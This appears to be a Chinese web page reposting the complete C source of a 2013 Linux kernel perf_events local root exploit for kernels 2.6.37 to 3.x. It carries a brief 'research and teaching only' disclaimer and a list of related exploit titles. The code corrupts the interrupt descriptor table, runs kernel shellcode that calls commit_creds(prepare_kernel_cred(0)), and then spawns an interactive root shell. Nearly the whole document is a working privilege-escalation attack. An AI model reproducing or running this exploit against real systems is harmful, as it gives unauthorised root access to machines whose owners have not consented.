Linux kernel perf_events local root exploit
2013-05-25 13:00
633 查看
测试方法:
提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!/*
* Linux kernel perf_events local root exploit
*
* by wzt 2013 http://www.cloud-sec.org
*
* gcc -o perf_exp per_exp.c -O2
*
* target: 2.6.37 - 3.x
*
* test on:
* rhel6.3/6.4 x86_64
* rhel6.3 + 3.2 kernel
*/
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<sys/utsname.h>
#include<syscall.h>
#include<stdint.h>
#include<assert.h>
#include<linux/perf_event.h>
#define KALLSYMS_NAME "/boot/System.map-2.6.32-279.el6.x86_64"
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define USER_CS 0x33
#define USER_SS 0x2b
#define USER_FL 0x246
#define STACK(x)(x +sizeof(x))
typedefint __attribute__((regparm(1)))(*_commit_creds)(unsignedlong cred);
typedefunsignedlong __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsignedlong cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
void exit_user_code(void);
char user_stack[1024*1024];
uint64_t*orig_idt_handler;
unsignedchar kern_sc[]="\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3";
struct idtr {
uint16_t limit;
uint64_t addr;
}__attribute__((packed));
void exit_user_code(void)
{
if(getuid()!=0){
printf("[-] exploit failed.\n");
exit(-1);
}
printf("[+] Got root shell!\n");
execl("/bin/bash","sh","-i", NULL);
}
void kernel_shellcode(void)
{
asmvolatile("swapgs\n\t"
"movq orig_idt_handler, %rsi\n\t"
"movq $-1, (%rsi)\n\t"
"movq $0, %rdi\n\t"
"movq $prepare_kernel_cred, %rsi\n\t"
"movq (%rsi), %rsi\n\t"
"callq *%rsi\n\t"
"movq %rax, %rdi\n\t"
"movq $commit_creds, %rsi\n\t"
"movq (%rsi), %rsi\n\t"
"callq *%rsi\n\t"
"movq $0x2b, 0x20(%rsp)\n\t"
"movq $user_stack, %rbx\n\t"
"addq $0x100000, %rbx\n\t"
"movq %rbx, 0x18(%rsp)\n\t"
"movq $0x246, 0x10(%rsp)\n\t"
"movq $0x33, 0x08(%rsp)\n\t"
"movq $exit_user_code, %rbx\n\t"
"movq %rbx, 0x00(%rsp)\n\t"
"swapgs\n\t"
"iretq");
}
int perf_event_open(uint32_t offset)
{
struct perf_event_attr p_attr;
int fd;
memset(&p_attr,0,sizeof(struct perf_event_attr));
p_attr.type = PERF_TYPE_SOFTWARE;
p_attr.size =sizeof(struct perf_event_attr);
p_attr.config = offset;
p_attr.mmap =1;
p_attr.freq =1;
fd = syscall(__NR_perf_event_open,&p_attr,0,-1,-1,0);
if(fd ==-1){
perror("perf_event_open");
return-1;
}
if(close(fd)==-1){
perror("close");
return-1;
}
return0;
}
unsignedlong find_symbol_by_proc(char*file_name,char*symbol_name)
{
FILE *s_fp;
char buff[200];
char*p = NULL,*p1 = NULL;
unsignedlong addr =0;
s_fp = fopen(file_name,"r");
if(s_fp == NULL){
printf("open %s failed.\n", file_name);
return0;
}
while(fgets(buff,200, s_fp)!= NULL){
if(strstr(buff, symbol_name)!= NULL){
buff[strlen(buff)-1]='\0';
p = strchr(strchr(buff,' ')+1,' ');
++p;
if(!p)
return0;
if(!strcmp(p, symbol_name)){
p1 = strchr(buff,' ');
*p1 ='\0';
sscanf(buff,"%lx",&addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
int perf_symbol_init(void)
{
struct utsname os_ver;
char system_map[128];
if(uname(&os_ver)==-1){
perror("uname");
return-1;
}
printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine);
snprintf(system_map,sizeof(system_map),
"/boot/System.map-%s", os_ver.release);
printf("[+] looking for symbols...\n");
commit_creds =(_commit_creds)find_symbol_by_proc(system_map,"commit_creds");
if(!commit_creds){
printf("[-] not found commit_creds addr.\n");
return-1;
}
printf("[+] found commit_creds addr: %p\n", commit_creds);
prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map,
"prepare_kernel_cred");
if(!prepare_kernel_cred){
printf("[-] not found prepare_kernel_cred addr.\n");
return-1;
}
printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}
void exploit_banner(void)
{
printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n"
"by wzt 2013\thttp://www.cloud-sec.org\n\n");
}
int main()
{
struct idtr idt;
uint64_t kbase;
uint8_t*code;
uint32_t*map;
int i;
int idt_offset;
exploit_banner();
if(perf_symbol_init()==-1)
return-1;
map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,-1,0);
if(map !=(void*)BASE){
perror("mmap");
return-1;
}
printf("[+] mmap at %p ok.\n",(void*)map);
memset(map,0, SIZE);
if(perf_event_open(-1)==-1)
return-1;
if(perf_event_open(-2)==-1)
return-1;
for(i =0; i < SIZE/4; i++){
if(map[i]){
assert(map[i+1]);
break;
}
}
assert(i<SIZE/4);
asm("sidt %0":"=m"(idt));
kbase = idt.addr &0xff000000;
code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,-1,0);
if(code !=(void*)kbase){
perror("mmap");
return-1;
}
printf("[+] mmap shellcode at %p ok.\n",(void*)code);
memset(code,0x90, KSIZE);
code += KSIZE -1024;
*(uint32_t*)(kern_sc +3)=(uint32_t)&kernel_shellcode;
memcpy(code -9, kern_sc,9);
orig_idt_handler =(uint64_t*)(idt.addr +0x48);
printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler);
idt_offset =-i +(((idt.addr &0xffffffff)-0x80000000)/4)+16;
printf("[+] trigger offset: %d\n", idt_offset);
if(perf_event_open(idt_offset)==-1)
return-1;
printf("[+] trigger int4 ...\n");
asm("int $0x4");
}
相关文章推荐
- Linux kernel perf_swevent_init Local root Exploit
- Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
- [轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)
- Linux Kernel <= 2.6.17.4 (/proc) Local Root Exploit
- LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01)
- Linux vmsplice Local Root Exploit 2.6.17 - 2.6.24.1
- linux非交互环境下本地提权思路与反思 linux localroot exploit
- Linux 2.6 kernel versions below 2.6.19 32bit ip_append_data() ring() root exploit.
- FreeBSD >= 7.0 local kernel root exploit
- Linux Kernel < 2.6.29 exit_notify() Local Privilege Escalation Exploit
- Kingsoft AntiVirus 2012 KisKrnl.sys <= 2011.7.8.913 Local Kernel Mode Privilege Escalation Exploit
- Linux Kernel 2.6.32 Local Root Exploit (x86_64)
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
- FreeBSD 8.*, 7.* Local root Exploit
- LINUX KERNEL <= 2.6.36-RC8 RDS PRIVILEGE ESCALATION EXPLOIT
- Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit
- 修改内核时候总是遇到make: ***/root/build_kernel/linux-2.6.14.1/arch/arm 是一个目录.停止的错误
- freebsd 8.* 7.* generic private local root exploit Hacktro
- Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure Exploit